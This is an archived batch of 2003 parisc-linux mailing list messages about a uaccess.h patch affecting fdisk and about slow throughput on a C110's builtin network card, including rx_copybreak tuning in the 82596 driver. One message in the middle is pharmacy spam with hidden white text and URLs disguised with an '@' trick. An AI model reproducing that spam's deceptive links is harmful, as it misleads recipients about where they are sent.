List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20058

That is Ok for me, Do you still have the patch to revert it?

Joel

>-- Original Message --
>From: Grant Grundler <grundler@parisc-linux.org>
>To: Joel Soete <soete.joel@tiscali.be>
>Cc: Matthew Wilcox <willy@debian.org>,
>	parisc-linux@lists.parisc-linux.org,
>	Grant Grundler <grundler@parisc-linux.org>
>Date: Sun, 9 Nov 2003 21:45:56 -0700
>Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
>
>
>On Sun, Nov 09, 2003 at 06:59:48PM +0000, Joel Soete wrote:
> Just for remainder here is the alignement of uaccess.h (i just finished

> to test on my c110 :)):
> ----------><----------
> --- uaccess.h.orig      2004-04-20 21:03:59.000000000 +0200

>> +++ uaccess.h   2003-11-09 18:47:06.000000000 +0100
> @@ -42,8 +42,8 @@
>  #if BITS_PER_LONG == 32
>  #define LDD_KERNEL(ptr) __get_kernel_bad();
>  #define LDD_USER(ptr) __get_user_bad();
> -#define STD_KERNEL(x, ptr) __put_kernel_asm64((u32)x,
>tr)
> -#define STD_USER(x, ptr) __put_user_asm64((u32)x,ptr)
> +#define STD_KERNEL(x, ptr) __put_kernel_asm64((u64)x,ptr)
> +#define STD_USER(x, ptr) __put_user_asm64((u64)x,ptr)

willy just removed the (u32) cast and things seem to work for him.

>Do you need the (u64) cast?

...
> -static inline void __put_kernel_asm64(u64 x, void *ptr)
...
> +#define __put_kernel_asm64(x, ptr)                         \
...

Why replace the static inline with a macro?
static inline provides type checki
>g and
type "coercion" when it's not exactly right.

> +       __asm__ __volatile__ (                              \
> +               "\n1:\tstw\t%2,0(%1)\n"                     \
> +               "2:\tstw\t%R2,4(%1)\n"                      \


>hat is "%R2" intended to be?
Randolph pointed out this is broken before and I was wrong
to commit this chunk to the 2.4 tree (I'm working on
removing it now).

thanks,
grant
_______________________________________________
parisc-linux mailing l
>st
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.

http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:29:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Mon, 10 Nov 2003 12:10:46 +0100
Lines: 80
Approved: news@gmane.org
Message-ID: <3F969FFE00009E0B@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622948 1237 80.91.229.3 (22 Nov 2014 02:22:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:28 +0000 (UTC)
Cc: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 10 04:10:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D966487A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 04:10:50 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AJ9wV-0006vq-00; Mon, 10 Nov 2003 12:10:47 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 10 Nov 2003 12:10:46 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20059

Hello Grant,

> netperf home is netperf.org.

Yes I check and the sources in debian (non-free tree) are the last one alailable
near netperf.org.

> It does run/build on parisc. I've used it before.

Yes, I check it at the office on a b180 :) (dpkg-buildpackage after
an apt-get source netperf; i don't see why it is not pre-build, well doesn't
matter)

>Note that with B180, I can only get about 1MB/s throughput max.
The same here at the office.

>With C3000 I get about 5 or 6 MB/s 100BT link.
What's up, if you connect it via a 10BT hub (but don't reboot and don't
restart or reset the interface). That should be what hapen on my pc box
(but I couldn't verify).

>Your network performance numbers are pretty far off from that but
>there might be other factors involved.

Well trying to help to fix fdisk in 2.6, I don't have time to install netperf
on my C110, sorry.
Any way, a big part of the problem should come from the bad auto-configuration:
As explained before, I start up first my pc (to get a minicom 'console').
As it is setup with auto-negociation and the c110 is not yet pw up, the
nic should be set at 100/full-duplex. Then when I boot the c110, the nic
is setup with the best of its availability: 10/half-duplex.

That seems to be confirm when I launch '/etc/init.d/networking stop and
latter start (restart don't seems to have same effect but again I couldn't
verify yet) on the pc,then I can log peack of 350k/s (that is already better
but that should be the limit of the adsl at this moment).
Another limits seems then to come from squid's caching which drop down flow
to about 100K/s.

So I still have to test ft without squid on the pc, with midle and big size
file, with get and put with various protocol from the two platform to confirm
this hypothesis (obvioulsy another way would be to use a 100bt router or
switch, but I couldn't get any one, and it would need to much time for me
to learn this
os).


>I expect mem copy routines are saturating the CPU and thrashing
>the data cache.  The tulip driver copies the entire buffer from
>where the card DMA'd to the skbuff in order to "bias" the buffer
>by 2 bytes. This avoids un-aligned data access in the "common" TCP case.
>Adding "unaligned access" macros to the "common" networking code
>path has been discussed and rejected (again) in the past month or so.
>Linus himself has rejected such proposals in the past to.
>
>If you twiddle the tulip driver to NOT copy all the data for
>packets > 512 bytes, the kernel will tell you when/where the network
>stack makes unaligned accesses. You can fix those and keep that as
>a local patch. I'd be interested in hearing the netperf (or httperf)
>numbers with such a patch when compared to the current behavior.
>
Ok I will try it first.

>thanks,
>grant
>
Thanks to your attention,
    Joel





-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.

http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:29:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Mon, 10 Nov 2003 13:31:45 +0100
Lines: 125
Approved: news@gmane.org
Message-ID: <3F969FFE00009EA4@ocpmta2.freegates.net>
References: <3F969FFE00009E0B@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622949 1248 80.91.229.3 (22 Nov 2014 02:22:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:29 +0000 (UTC)
Cc: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 10 05:31:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 990654841
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 05:31:48 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AJBCs-0000aB-00; Mon, 10 Nov 2003 13:31:46 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 10 Nov 2003 13:31:45 +0100
In-Reply-To: <3F969FFE00009E0B@ocpmta2.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20060

Sorry for auto-reply but I just remember that on the c110 the builtin nic
is:
"8. Raven T' Core LAN (802.3) (10) at 0xffd07000 [8/16/6], versions 0x32,

0x0, 0x8a"
ie a Lasi_82596 (as Matthew mentioned in a previous mail).

That you look for that stuff in that code :)

Joel


>-- Original Message --
>From: "Joel Soete" <soete.joel@tiscali.be>
>To: "Grant Grundler" <grundler@parisc-linux.org>
>Cc: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
>Date: Mon, 10 Nov 2003 12:10:46 +0100
>Subject: Re: [parisc-linux] C110 builtin nic slow?
>
>
>Hello Grant,

> netperf home is netperf.org.

Yes I check and the sources in debian (non-free tree) are the last one alailable
near netperf.org.

> It does run/build on parisc. I've used it before.

Yes, I check it at the office on a b180 :) (
>pkg-buildpackage after
an apt-get source netperf; i don't see why it is not pre-build, well doesn't
matter)

>Note that with B180, I can only get about 1MB/s throughput max.
The same here at the office.

>With C3000 I get about 5 or 6 MB/s 100BT
>link.
What's up, if you connect it via a 10BT hub (but don't reboot and don't
restart or reset the interface). That should be what hapen on my pc box
(but I couldn't verify).

>Your network performance numbers are pretty far off from that but
>th
>re might be other factors involved.

Well trying to help to fix fdisk in 2.6, I don't have time to install netperf
on my C110, sorry.
Any way, a big part of the problem should come from the bad auto-configuration:
As explained before, I start up f
>rst my pc (to get a minicom 'console').
As it is setup with auto-negociation and the c110 is not yet pw up, the
nic should be set at 100/full-duplex. Then when I boot the c110, the nic
is setup with the best of its availability: 10/half-duplex.

T
>at seems to be confirm when I launch '/etc/init.d/networking stop and
latter start (restart don't seems to have same effect but again I couldn't
verify yet) on the pc,then I can log peack of 350k/s (that is already better
but that should be the limi
> of the adsl at this moment).
Another limits seems then to come from squid's caching which drop down flow
to about 100K/s.

So I still have to test ft without squid on the pc, with midle and big size
file, with get and put with various protocol fr
>m the two platform to confirm
this hypothesis (obvioulsy another way would be to use a 100bt router or
switch, but I couldn't get any one, and it would need to much time for me
to learn this
os).


>I expect mem copy routines are saturating the 
>PU and thrashing
>the data cache.  The tulip driver copies the entire buffer from
>where the card DMA'd to the skbuff in order to "bias" the buffer
>by 2 bytes. This avoids un-aligned data access in the "common" TCP case.
>Adding "unaligned access"
>macros to the "common" networking code
>path has been discussed and rejected (again) in the past month or so.
>Linus himself has rejected such proposals in the past to.
>
>If you twiddle the tulip driver to NOT copy all the data for
>packets > 512
>bytes, the kernel will tell you when/where the network
>stack makes unaligned accesses. You can fix those and keep that as
>a local patch. I'd be interested in hearing the netperf (or httperf)
>numbers with such a patch when compared to the current 
>ehavior.
>
Ok I will try it first.

>thanks,
>grant
>
Thanks to your attention,
    Joel





-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le 
>onde.

http://reg.tiscali.be/default.asp?lg=fr


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.

http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:29:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Mon, 10 Nov 2003 15:00:37 +0100
Lines: 78
Approved: news@gmane.org
Message-ID: <3F969FFE00009F73@ocpmta2.freegates.net>
References: <3F969FFE00009EA4@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622949 1253 80.91.229.3 (22 Nov 2014 02:22:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:29 +0000 (UTC)
Cc: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 10 07:00:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2EE2483E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 07:00:43 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AJCas-0007of-00; Mon, 10 Nov 2003 15:00:38 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 10 Nov 2003 15:00:37 +0100
In-Reply-To: <3F969FFE00009EA4@ocpmta2.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20061

Grant,

Sorry again, but having find this interesting stuff in 82596.c:
---------><---------
[...]
                        /* Check if the packet is long enough to just accept
                         * without copying to a properly sized skbuff.
                         */

                        if (pkt_len > rx_copybreak) {
                                struct sk_buff *newskb;
[...]
                        }
                        else
                                skb = dev_alloc_skb(pkt_len + 2);

[...]
---------><---------
This seems well what you describe?
and more:
---------><---------
[...]
/* Copy frames shorter than rx_copybreak, otherwise pass on up in
 * a full sized sk_buff.  Value of 100 stolen from tulip.c (!alpha).
 */
static int rx_copybreak = 100;
[...]
---------><---------
and finaly:
---------><---------
/*
[...]
   TBD:
   [...]
   * performace test to tune rx_copybreak
[...]
---------><---------

(I just copy as read preformace and not performance as my mind abuse :) )

This last notice seems what I am loocking for?
Have you a better idea then try and test (ie rx_copybreak=512, test, rx_copybreak=256,
... and btw rx_copybreak = PKT_BUF_SZ == 1536)?
Or is it better to tiddle code before?

Thanks for additional advise,
    Joel

>-- Original Message --
>From: "Joel Soete" <soete.joel@tiscali.be>
>To: "Grant Grundler" <grundler@parisc-linux.org>
>Cc: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
>Date: Mon, 10 Nov 2003 13:31:45 +0100
>Subject: Re: [parisc-linux] C110 builtin nic slow?
>
>
>Sorry for auto-reply but I just remember that on the c110 the builtin nic
is:
"8. Raven T' Core LAN (802.3) (10) at 0xffd07000 [8/16/6], versions 0x32,

0x0, 0x8a"
ie a Lasi_82596 (as Matthew mentioned in a previous mail).

That you look for tha
> stuff in that code :)

Joel




-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.

http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:29:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Aurora Tolbert" <nlexgb@bigfoot.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 75% off V I @ G R A  jbq
Date: Tue, 11 Nov 03 04:48:13 GMT
Lines: 18
Approved: news@gmane.org
Message-ID: <l3ext7-2j-o-3p-s@vlan0>
Reply-To: "Aurora Tolbert" <nlexgb@bigfoot.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="0D685_84B2.D11_.FF_E6__5"
X-Trace: ger.gmane.org 1416622949 1256 80.91.229.3 (22 Nov 2014 02:22:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:29 +0000 (UTC)
To: <grundler@parisc-linux.org>, <parisc-linux@parisc-linux.org>,
	<tausq@parisc-linux.org>, <guest@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 10 07:51:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pcp03170306pcs.proctr01.fl.comcast.net (pcp03170306pcs.proctr01.fl.comcast.net [68.56.134.162])
	by dsl2.external.hp.com (Postfix) with SMTP
	id 82168483E; Mon, 10 Nov 2003 07:51:00 -0700 (MST)
Original-Received: from [122.191.133.212] by pcp03170306pcs.proctr01.fl.comcast.net with SMTP; Tue, 11 Nov 2003 04:48:13 -0100
X-Mailer: Microsoft Outlook, Build 10.0.2616
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20062

--0D685_84B2.D11_.FF_E6__5
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<font color=3Dwhite>v izfnz ci tmirtouyqn q</font><P>
Grundler No embarrasing, expencive Doctors visits!<P>they charge $20ea, we=
 charge $1.66!!!<P>
SHIPPING WORLD WIDE!<P>
<a href=3D"http://v-i-a-g-r-a.com@www.pillsthatwork.com/index.php?pid=3Dev=
aph3770">D I S C 0 U N T - V I @ G R A</a><P><P>ejacre 
thpz
nwheo  yp  h mcjsrsbqmtadve zprt<BR><BR><BR>
<font size=3D-1><a href=3D"http://v-i-a-g-r-a.com@www.pillsthatwork.com/ap=
plepie.php">O P T - O U T</a>kcsywwsmnj

--0D685_84B2.D11_.FF_E6__5--



From - Thu Nov 08 21:29:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
Date: Mon, 10 Nov 2003 09:58:26 -0700
Lines: 8
Approved: news@gmane.org
Message-ID: <20031110165826.GA24664@colo.lackof.org>
References: <20031110044556.GB16478@colo.lackof.org> <3F969FFE00009D32@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622950 1259 80.91.229.3 (22 Nov 2014 02:22:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:30 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 10 09:58:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id E210B4841
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 09:58:27 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id F335629803E; Mon, 10 Nov 2003 09:58:26 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 24511-07; Mon, 10 Nov 2003 09:58:26 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 75360298037; Mon, 10 Nov 2003 09:58:26 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3F969FFE00009D32@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20063

On Mon, Nov 10, 2003 at 10:51:32AM +0100, Joel Soete wrote:
> That is Ok for me, Do you still have the patch to revert it?

yes - I'll test/commmit that this morning.

thanks,
grant


From - Thu Nov 08 21:29:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Mon, 10 Nov 2003 10:35:25 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20031110173525.GC24664@colo.lackof.org>
References: <3F969FFE00009EA4@ocpmta2.freegates.net> <3F969FFE00009F73@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622950 1262 80.91.229.3 (22 Nov 2014 02:22:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:30 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 10 10:35:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D3D2483E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 10:35:27 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id A01F329803E; Mon, 10 Nov 2003 10:35:26 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 24878-05; Mon, 10 Nov 2003 10:35:25 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D2E1E298037; Mon, 10 Nov 2003 10:35:25 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3F969FFE00009F73@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20064

On Mon, Nov 10, 2003 at 03:00:37PM +0100, Joel Soete wrote:
>                         if (pkt_len > rx_copybreak) {
>                                 struct sk_buff *newskb;

yup - the rx_copybreak support is exactly what I'm talking about.
tulip driver has similar support.

> /* Copy frames shorter than rx_copybreak, otherwise pass on up in
>  * a full sized sk_buff.  Value of 100 stolen from tulip.c (!alpha).
>  */
> static int rx_copybreak = 100;

The comment is wrong. Tulip uses 1518 for nearly everything but x86.
ie it copies all packets since the MTU is <= 1518.


> This last notice seems what I am loocking for?
> Have you a better idea then try and test (ie rx_copybreak=512, test, rx_copybreak=256,
> ... and btw rx_copybreak = PKT_BUF_SZ == 1536)?
> Or is it better to tiddle code before?

I don't know. It depends on if/when the misaligned access happens.
It's possible the misaligned access is less expensive than
the full copy on your machine.

grant


From - Thu Nov 08 21:29:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Mon, 10 Nov 2003 10:37:48 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20031110173748.GD24664@colo.lackof.org>
References: <3F969FFE00009E0B@ocpmta2.freegates.net> <3F969FFE00009EA4@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622950 1265 80.91.229.3 (22 Nov 2014 02:22:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:30 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 10 10:37:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE17C487B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 10:37:49 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 5CC6D29803E; Mon, 10 Nov 2003 10:37:49 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
